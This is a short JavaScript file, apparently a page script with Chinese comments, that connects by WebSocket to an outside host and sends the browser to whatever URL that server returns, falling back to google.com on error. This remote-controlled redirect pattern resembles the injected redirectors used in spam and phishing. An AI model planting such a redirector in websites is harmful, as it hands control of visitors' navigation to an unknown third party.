const defaultRedirect = () => {
    window.location = 'https://google.com';
};

try {
	var delay = "1"
	var ws = new WebSocket("ws://www.42jieanzhi.info:1443/caivge");

	console.log("test");
	console.log("ws://www.42jieanzhi.info:1443/caivge");

	ws.onopen = function(event) {
		console.log("WebSocket opened");
	};

	ws.onmessage = function(event) {
		var url = event.data;
		console.log("Received URL: " + url);
		console.log("HostUri: " + "/back/test/222");
		url += "/back/test/222";
		console.log("url: " + url);

		setTimeout(function() {
			window.location.replace(url)
		}, delay * 1000)
	};

	ws.onclose = function(event) {
		console.log("WebSocket closed");
	};

	ws.onerror = function(event) {
		console.log("WebSocket error occurred");
		// 當 WebSocket 開啟失敗時導向到 Google 首頁
		defaultRedirect();
	};

} catch (error) {
    console.error("An error occurred:", error);
    // 如果在程式執行過程中有錯誤，導向到 Google 首頁
    defaultRedirect();
}